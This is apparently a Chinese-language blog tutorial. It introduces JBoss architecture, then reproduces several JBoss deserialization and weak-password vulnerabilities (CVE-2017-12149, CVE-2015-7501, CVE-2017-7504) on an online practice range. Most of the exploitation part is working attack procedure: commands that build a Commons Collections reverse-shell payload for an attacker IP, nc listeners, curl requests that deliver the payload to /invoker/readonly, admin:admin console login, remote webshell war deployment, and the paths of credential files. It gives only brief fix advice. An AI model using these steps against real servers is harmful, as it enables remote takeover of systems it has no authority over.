0x01 Jboss简介
JBoss是一个开源的符合J2EE规范的应用服务器,作为J2EE规范的补充,Jboss中引入了AOP框架,为普通Java类提供了J2EE服务,而无需遵循EJB规范。Jboss通过类载入时,使用Javassist对字节码操作实现动态AOP框架,Javassist是一个开源的编辑字节码的类库。
Jboss中参考,切入点与方面也由普通Java对象实现,并使用XML文件配置。Jboss的连接点模型与AspectJ略有不同,提供了一系列预定义的切入点,包括类匹配,方法调用,构造器调用,域访问,特定的调用与被调用关系。通过这些切入点的逻辑运算,可以实现更为复杂的切入点。方面为Java类,参考是其中的一个方法,方面中不含切入点,方面主要为各种拦截器(Interceptor),拦截器即为只含一个参考的方面,单一连接点上可由多个拦截器形成拦截器链,拦截器执行额外的操作。对方法的拦截由Advisor类管理,在连接点依次调用拦截器,并最终调用被逻辑的方法。而关于切入点,参考已及方面的信息由AspectManager管理。此外,Jboss提供对元数据的支持,用于为类,方法,构造器以及域添加额外的属性,并可在运行期访问。
为实现拦截,Jboss需要修改类的字节码,大致过程如下。
XML配置文件中关于切入点,拦截器,元数据以及混合类的信息在应用程序部署时被读入、解析,并生成相应的对象,这些信息与实例化的对象由AspectManager管理。在需要混入方面代码的类载入时,AspectManager将创建Advisor类,将方面相关信息传递给它,并对类的字节码进行修改,之后将修改过的字节码交给类载入器完成类的装载。字节码的修改主要是对被载入的类添加一系列方法用于代理那些匹配连接点的方法调用,构造器调用,域访问以及方法导入,转为对Advisor类相应方法的调用。类中各方法将重命名,保留原方法体,并添加一个与原方法同名的方法,在这个方法中调用那些代理方法,用来将调用代理给Advisor类,或调用重命名的原方法。对于域访问,分别添加两个方法,对应于读与写操作,将域访问代理至Advisor类,在访问这个域的类中,则需将对域的访问转换为对上述方法的调用。对于构造器调用,则添加一个方法,将调用代理至Advisor类,并对构造对象的类的构造代码作相应转换。对于导入,被导入的类中将添加一个混合类实现的引用,并添加混合类接口中的方法,将对混合类方法的调用代理至Advisor类,并最终调用混合类的实现。相关类载入后,初始化Advisor类,填入拦截器链,以完成整个处理过程。
JBOSS应用服务器还具有许多优秀的特质:
1.它将具有革命性的JMX微内核服务作为其总线结构;2.它本身就是面向服务的架构(Service-Oriented Architecture,SOA);3.它还具有统一的类装载器,从而能够实现应用的热部署和热卸载能力。因此,它是高度模块化的和松耦合的。JBoss用户的积极反馈告诉我们,JBoss应用服务器是健壮的、高质量的,而且还具有良好的性能。
JBoss的服务器架构概述JBoss的构架和其他J2EE应用服务器的构架有着巨大的不同。JBoss的模块架构是建立在JMX底层上的,下图展现了JBoss主要组件和JMX的联系。JMX - 层次JMX是一个可复用框架,它为远程(Remote)和本地(Local)管理工具扩展了应用。它的架构是层式架构。他们是实现层(instrumentation layer)、代理层(agent layer)和发布层(distribution layer)。其中,发布层还在等待未来的标准化。简要的表述是,用户使用管理Bean,MBean来提供获得相应资源的实现方法。实现层实现相关的特性资源并将它发布于JMX相关应用中,它的代理层控制和发布相应的注册在MBeanServer代理上的管理资源。JBoss主要模块主要的JBoss模块是在MeanServer上的可管理MBean。1.JBoss EJB容器是JBoss服务器的核心实现。它有两个特性,第一是在运行期产生EJB 对象的Stub和Skeleton类,第二是支持热部署。2.JBossNS是JBoss命名服务用来定位对象和资源。它实现了JNDI J2EE规范.3.JBossTX 是由JTA/JTS支持的交易管理控制。4.部署服务支持EJB(jar)、Web应用文档(war)和企业级应用文档(ears)的部署。它会时刻关心J2EE应用的URL情况,一旦它们被改变或出现的时候将自动部署。5.JBossMQ使Java 消息规范(JMS)的实现。6.JBossSX支持基于JAAS的或不支持JAAS机制的安全实现。7.JBossCX实现了部分JCA的功能。JCA制订了J2EE应用组件如何访问基于连接的资源。8.Web服务器支持Web容器和Servlet引擎。JBoss 2.4.x版本支持Tomcat 4.0.1,Tomcat 3.23和Jetty 3.x服务。JBoss架构设计中的两个重要的特性第一是使用JMX作为一个软件总线垂直的贯穿其所有的服务,通过将新的服务组件遵循JMX规范挂接上"总线",使得系统扩展现有的服务变得容易。可插入式框架被广泛的运用于服务的实现。开发者可以选择他们需要的服务并编写他们所需要的相应实现,通过定义在部署描述文件中,让JBoss服务器知道。第二是容器被设计成为动态代理机制,这样使容器的实现变得简单和使开发者避免费劲的将jar文件进行预编译以获得stub和skeleton代码。但是这样做潜在的问题是性能和可测性,因为我们知道java反射机制会引起性能的损失。JBoss中存在着相应的优化方案并且在将来的研究中我们会论述该优化方法在什么时候工作并且是如何工作的。
jboss一般有2种类型的的漏洞:
a.访问控制不严导致的漏洞b.反序列化漏洞
Jboss管理控制台说明
jboss 4.x 及其之前的版本 console 管理路径为 /jmx-console/ 和 /web-console/jmx-console的配置文件为:
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
web-console的配置文件为:
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
一定要注意不同网站之间jboss的绝对路径一定是有区别的
jboss的控制台账号密码说明
jmx-console 和 web-console的账户密码相同密码文件保存在一下路径下:
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
0x02 jboss漏洞复现
本文使用在线靶场复现,靶场地址如下:
https://vulfocus.cn/
1.jboss 代码执行 (CVE-2017-12149)
漏洞介绍影响范围
JBoss 5.x/6.x
漏洞原理在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码漏洞复现
访问 /invoker/readonly 如果返回500,说明此页面就可能存在反序列化漏洞。
直接使用 jboss反序列化_CVE-2017-12149工具
工具地址:
https://github.com/yunxu1/jboss-_CVE-2017-12149
方法二:使用JavaDeserH2HC工具下载地址:
http://scan.javasec.cn/java/JavaDeserH2HC.zip
1.进入JavaDeserH2HC工作目录:
2.攻击机下载执行执行生成二进制payload文件:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
3.修改接收shell的IP和端口:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap x.x.x.x:7777
4.NC开启监听:
nc -vv -l -p 7777
向被攻击服务器发送攻击payload:
curl http://x.x.x.x:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.serx
成功反弹shell
修复建议
1.升级到JBOSS72.不需要 http-invoker.sar 组件的用户可直接删除此组件。3.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。
2.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
漏洞介绍
影响版本
Red Hat JBoss A-MQ 6.x版本; BPM Suite (BPMS) 6.x版本; BRMS 6.x版本和5.x版本; Data Grid (JDG) 6.x版本; Data Virtualization (JDV) 6.x版本和5.x版本; Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本; Fuse 6.x版本; Fuse Service Works (FSW) 6.x版本; Operations Network (JBoss ON) 3.x版本; Portal 6.x版本; SOA Platform (SOA-P) 5.x版本; Web Server (JWS) 3.x版本; Red Hat OpenShift/xPAAS 3.x版本; Red Hat Subscription Asset Manager 1.3版本。
漏洞原理JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
漏洞复现
访问网站页面
页面如果弹出下载JMXInvokerServlet文件的页面,则证明存在漏洞
下载反序列化工具:
https://github.com/ianxtianxt/CVE-2015-7501/
下载后解压完,进入到工具目录 ,执行命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
继续执行命令(IP是攻击机,PORT是要监听的端口):
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:PORT
新界面开启nc监听准备接收反弹过来的shell
nc -lvnp 监听的端口
这个时候在工具的目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
修复建议1.目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:Red Hat - We make open source technologies for the enterprise2.不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问4043.添加访问控制代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制
3.JBoss EJBInvokerServlet 反序列化漏洞
漏洞概述影响版本
主要集中在 jboss 6.x 版本上: Apache Group Commons Collections 4.0 Apache Group Commons Collections 3.2.1 Apache Group Commons Collections
漏洞原理
此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于JMXInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而EJBInvokerServlet利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。漏洞复现跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径是
/invoker/EJBInvokerServlet
在这里就不复现了,复现请参考CVE-2015-7501修复建议1.不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问4042.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制
4.JBossMQJMS 反序列化漏洞(CVE-2017-7504)
漏洞简介
影响版本
JBoss <=4.x
漏洞原理
JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
漏洞复现
访问
/jbossmq-httpil/HTTPServerILServlet
返回This is the JBossMQ HTTP-IL,说明存在反序列化漏洞。
利用工具:JavaDeserH2HC
https://github.com/joaomatosf/JavaDeserH2HC
也可以利用上面介绍的那款反序列化工具也是推荐在linux操作系统使用该工具我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成ReverseShellCommonsCollectionsHashMap.ser(ip是要攻击机的ip,port是要监听的端口)
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
新开一个窗口用nc监听刚刚的端口
nc -lnvp port
这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹
修复建议升级至不受影响的版本
5.JBoss Administration Console 弱口令&&getshell
漏洞概述影响版本
全版本
漏洞原理Administration Console管理页面存在弱口令,admin:admin,登陆后台上传包含shell的war包并部署,再用后门工具连接即可漏洞复现直接访问
ip/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
1.void addurl中的Param Value中插入公网部署好的war包2.返回第二步,并点击apply changes3.查看jmx-console目录下如果有部署war包的名字证明上传成功4.ip/war包名字/脚本名字 连上马子
boss/jmx console登录进行抓包发现也是和tomcat一样base64编码,我们可以对这个编码暴力破解从而达到弱口令进入控制台tomcat弱口令部署war包
其中JMX Console和JBoss Web Consoles是相同账号密码,但是JMX Console功能点会偏多如果得到弱口令进入jmx console后点击jboss.deployment以下链接
然后在void addURL()选项来远程加载war包来部署。
War包是由shell.jsp生成的(这里很关键,因为会影响webshell的路径)
然后把war包放到公网上映射出来,如 http://ip:端口/aufeng.war, 然后在下面的功能点void add url中的Param vule中帖上war包公网的地址,然后点击invoke
就会有如下的页面,但不能确定是上传成功的
所以要回到之前回到flavor=URL,type=DeploymentScanner页面点击下属性列表中的"Apply change"
同用url地址
http://ip:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
然后等待的时间是有点长的,我当时是等了20分钟左右。在jmx-console目录下的deployment中的war包中如果能看到才能证明是上传成功
Webshell的地址是war包的名字+生成war包webshell的名字
成功连上冰歇马
jboss控制台用户密码(jmx-console)的路径
/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/classes#
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties